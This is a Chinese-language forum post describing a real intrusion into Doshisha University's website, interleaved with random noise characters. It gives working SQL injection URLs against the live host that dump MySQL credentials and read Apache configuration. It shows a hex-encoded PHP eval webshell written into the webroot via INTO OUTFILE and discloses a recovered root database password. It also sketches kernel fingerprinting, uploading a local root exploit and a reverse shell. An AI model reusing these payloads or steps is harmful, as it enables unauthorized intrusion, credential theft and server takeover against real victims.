入侵日本同志社大学技术分析
) D5 E! a- B1 ?0 t7 s+ i6 L4 N1 _
+ [6 P( i& {; b( a, v4 I" ]5 x& K( ^http://www.doshisha.ac.jp/chs/news/index.php?i=-1- p6 ?3 U |! C; E3 w2 I
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
0 h5 }' q# }3 k; y( K9 X
+ R- J+ t J; W+ }0 P( N! Thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user- \) R. S" Y9 t- s* m, l
; m! v4 W9 W4 {* ^" G/ p
0 y& K8 {3 b8 Y1 O
4 v% A$ z2 e8 u9 c! M! c2 ?//@@datadir为数据库文件路径 / [8 }. Z; T3 c4 }3 ~% S$ c
( p: ]7 ^; M# w2 Q5 z# z' V9 a7 ~) ^$ Y' F$ c- m: B
//load_file读取网站容器apache的配置文件 9 y/ D3 g3 j7 i! f
. c# E; g. r0 W2 {5 y5 R1 |" y
3 S) W6 \- [: O4 j4 B
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 + C( `4 U" I( _) E
复制代码. r6 t( b& b$ V& L6 ]6 r
. r G" p V7 ? @- @虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。& u1 G* p& u- T
* f, w, g ?, S5 J0 z而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。. U" X8 g# A( |9 ^
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)" p3 g+ a# o7 M; H1 `0 y( {& x
9 M3 |. f7 l$ ~3 m6 \1 p D前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。% y4 a0 q. t; F% s: V5 ?; j
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html) [5 w/ R1 [2 P% ~9 I
3 _9 }3 Z/ g- K& w) x既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/* p5 O' o/ `! i+ i) h3 v5 z
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。8 v9 }$ }- F! @6 p9 r5 a
直接写一句话:
8 G" |1 e* V6 Q. z- d7 i4 p ~- ^9 M
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#; P3 K/ T ?- `& H7 O5 s* P/ U
" C0 ~( ~+ { H; X / V* C8 ?6 |' @ X8 N
k" P9 c8 p& O0 y0 ~2 D+ ~//最后的#是为了闭合前面的语句 9 u7 e. y* L, b6 Y+ s9 I
* c4 d" [' A5 i: T! T
& `4 {* O' u& K3 M/ d. D/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
% Y4 c# t0 g3 n' Y
$ Q" Q! k9 q, u/ q4 Y% \
' G) S N% P* ]! Q为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ - `! g* Q b* j7 }' z/ n
, o. ~5 o/ u& A( o) [1 @! F& S( F, ]) P: m( |4 J
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
* [8 K- R( ^1 L' c& i- r- |6 s ' a3 \. c7 G- J# X3 Z! S8 `) W6 e
6 h3 F! f- k* m( K- Z0 a8 | m+ G
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 $ @! j$ h# J( C9 q# J
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
0 D9 \. W' I) o% M1 ^6 p" M6 r复制代码
% y. t9 `2 W+ Q; ?4 A4 ^- y+ L( N: Q. T. h: e& F
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有7 C8 \2 X+ J4 U9 v% ^: @; ]) B
通过上述注入语句,我们就得到了一句话木马:
+ ^5 M5 {' _1 y$ o ]% Y) ?! N* b9 w. T; `6 w+ L
% K0 M9 c& E* s$ a. b
- K, r" _3 ^2 m4 g 4 D2 V# R6 K. {( k/ k8 l7 ?
$ }7 P9 m$ N! I2 ^/ `0 j
http://www.doshisha.ac.jp/english/engnews_img/aa.php
7 [% _# ]' Q- d0 M* E7 ^复制代码
1 a8 w6 D! |; W: q$ y2 |' r4 u9 @' c$ `. R! g+ l, b
用菜刀连接,密码是cmd,如图所示:
* a4 S# P0 f a# O5 j然后在命令提示行里看了一下,现在的权限是:* C$ O9 ~. L$ E7 ~- F( P
* W- P$ |4 s9 Z# E/ w0 \
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
/ b% ?3 l1 N8 B+ P0 y9 A. F好在赋权给这个文件夹不需要root,直接执行赋权语句:. E: C. }: I; |) ]
+ a! l$ A0 W) Y1 {4 [
3 F F: |6 K. b2 p* G# `; z% E/ e+ L) @3 @
' D0 ^& |; B" A3 x1 R4 f
/ ^+ d/ Q) A& K8 ?9 o' D% h; Rchmod +x /tmp/
" w& o0 O7 o/ ~2 s }5 p9 h复制代码
I9 _# T: J2 A3 o; ~, ^6 ?/ w) ]( d9 n/ g, W& m- w5 I
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
$ o7 G* P' k7 C然后就查了一下内核版本:: Q' C) @ s. r) c8 j# Y7 H
# ?; w# T+ k2 m$ l5 m7 ^9 O* @! T C+ z. k7 O$ B# {& h7 Y; ~
2 G% c4 ?' @: c
' b. J) A' @5 w) }4 p' o
1 J/ f+ L5 W/ g ~uname-a ) H. J$ [( ]6 i0 ]5 N8 N8 F
, F* x0 M' \, U1 a1 J& R, }+ [" H, `" g0 S
//其实lsb_release -a
4 O8 i- y( i7 t( ~复制代码
6 ^/ G$ o' Y1 Y4 f1 Y9 Y
" O$ J3 S% X# s8 }/ o! J如图所示:8 F" W" ^5 R6 t! Z
, E: C% X2 J' m1 g内核版本:linux mainz1 2.6.28-194.e15
, |" A- H2 v- R0 _1 c& E" A8 L系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
7 F- ?" l# ~6 t4 z; E5 K+ ]4 a查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹% d/ |* U. O9 s6 h9 \" b; @
% j$ Z; }- U5 D
然后给予执行权限
+ w8 C4 T2 u/ t( u一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样6 T% s# Q- V/ W3 P, \
, F1 ^+ \+ v( d! R) F3 ], q
0 i* V/ F! ]) n% Z6 w+ n& d% y4 @+ @$ s# ^6 [
- D; M9 c3 ?3 G2 d
4 S! u# S. c9 j3 y8 U2 Q
chmod +x /tmp/2.6.18-194 ' C7 E6 a3 K' k9 Q/ L
复制代码 然后直接执行!~
! h1 C$ ], F3 Q# M/ E& j, e5 S. ^' ?1 v
总结: d1 _ T# I. z0 p% y& P
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
8 q6 Q# K, ^( o6 W4 _提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
6 D- [+ W$ T# U: g! `8 p1 H f0 B7 Z2 H/ k
|